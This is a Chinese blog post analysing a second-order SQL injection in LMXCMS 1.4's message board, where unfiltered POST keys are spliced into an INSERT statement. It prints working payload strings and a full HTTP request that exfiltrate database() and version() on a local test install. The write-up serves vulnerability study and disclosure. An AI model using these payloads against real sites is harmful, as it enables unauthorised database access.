梦想cms二次注入漏洞分析

梦想cms二次注入漏洞分析

前言

看了社区一位师傅发的梦想cms的文章,在cnvd一搜发现洞还挺多的,在本地审计复现了一下,于是写了这篇文章。

二次注入简述

二次注入是SQL注入的一种。漏洞的发生主要分为两步,第一步是攻击者构造恶意SQL语句,这些语句会插入并存储在数据库中,第二步是将存储在数据库中的恶意SQL语句取出,直接调用,这样就造成了SQL的二次注入。

CMS框架

首先,了解一下cms的框架
index.php

先define定义两个常量,然后require包含文件。/inc/config.inc.php中是网站的配置文件,简单浏览一下后继续看/inc/run.inc.php文件。

69-73行中,通过Get方式传入参数m,控制调用的控制器,最后触发run()方法,跟进查看

Get方式传入参数a,如果参数a代表的方法存在,则调用该方法,否则调用index方法。

漏洞分析

大概了解了cms的框架,下面开始漏洞分析
漏洞出现在/index/BookAction.class.php文件,先访问看看

发现是留言版功能,那么可以猜想一下大概的流程,应该是可以通过留言插入sql语句到数据库中,然后下方显示留言的地方会调用数据库中的数据,从而造成二次注入。

下面来看具体代码
留言提交代码块

当setbook参数不为空,会调用checkData方法对参数进行检测,主要是调用p()函数防止sql注入,这里暂且不看,继续往下,进入add方法

跟进addModel()

最后跟踪到addDB方法

看到往数据库中插入的参数,$field和$value实际上就是传入的键值对的key和值

可以发现,键值对的值是使用单引号进行包裹,但是key直接传入,没做任何过滤
在cms的防止sql注入的过滤函数p()中,同样只对$v进行了过滤,忽略了$key

接下来留言看看插入的sql语句,在源码将sql语句输出,方便构造

可以看到sql语句是

INSERT INTO lmx_book(name,content,mail,tel,ip,time) VALUES('1','4','2','3','127.0.0.1','1640673423')

上面分析了键值对中的key没有过滤,那么可以尝试修改key构造注入语句

name=1&mail=2&tel=3&content=4&setbook=1&time)values('1','4','2','3','5','6')#=1

注入之后,回到页面发现并没有看到提交的留言,到mysql中看看

可以看到留言确实是插入到了数据库中,之所以没有显示,是因为有一个参数ischeck
在调用留言的代码中,可以看到只调用了’ischeck=1‘的留言

那么我们再在数据包中添加一个参数,修改ischeck值为1

再次回到留言版,可以看到留言,且name和content处有回显

于是修改数据包,查询database()及version()

POST /lmxcms1.4/index.php?m=Book&a=setBook HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/lmxcms1.4/?m=book
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

name=1&mail=2&tel=3&content=4&setbook=1&time,ischeck)values(database(),version(),'2','3','5','6','1')#=1

留言处成功回显数据库名及版本信息

写在后面

二次注入可以说是比较难发现的一种注入,不仅需要插入数据,还需要找到将插入数据提取出来使用的地方。即使找到注入的地方,如果不能看到回显也是没有用处了。本文分析的漏洞官方出了相应补丁,将留言设置为前台不显示,从而防止了二次注入的第二步。

  • 发表于 2022-01-04 09:43:07
  • 阅读 ( 6299 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
Cl0wnkey
Cl0wnkey

6 篇文章

站长统计